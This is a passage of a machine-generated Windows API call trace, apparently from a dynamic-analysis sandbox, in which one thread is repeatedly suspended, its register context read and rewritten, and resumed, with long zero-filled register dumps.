[126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0123.578] ResumeThread (hThread=0x100) returned 0x1 [0123.578] CloseHandle (hObject=0x100) returned 1 [0123.578] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0123.708] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0123.820] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0123.820] SuspendThread (hThread=0x100) returned 0x0 [0123.820] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019cc80, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fcd900d, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0123.842] SetThreadContext (hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019cc78, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0123.842] ResumeThread (hThread=0x100) returned 0x1 [0123.842] CloseHandle (hObject=0x100) returned 1 [0123.842] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0123.960] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0124.069] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0124.069] SuspendThread (hThread=0x100) returned 0x0 [0124.070] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019cb48, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f713320, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0124.070] ResumeThread (hThread=0x100) returned 0x1 [0124.070] CloseHandle (hObject=0x100) returned 1 [0124.070] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0124.186] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0124.186] SuspendThread (hThread=0x100) returned 0x0 [0124.186] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x28fb78, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f707420, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0124.187] ResumeThread (hThread=0x100) returned 0x1 [0124.187] CloseHandle (hObject=0x100) returned 1 [0124.187] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0124.298] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0124.405] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0124.405] SuspendThread (hThread=0x100) returned 0x0 [0124.405] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019cc58, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fce600d, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, 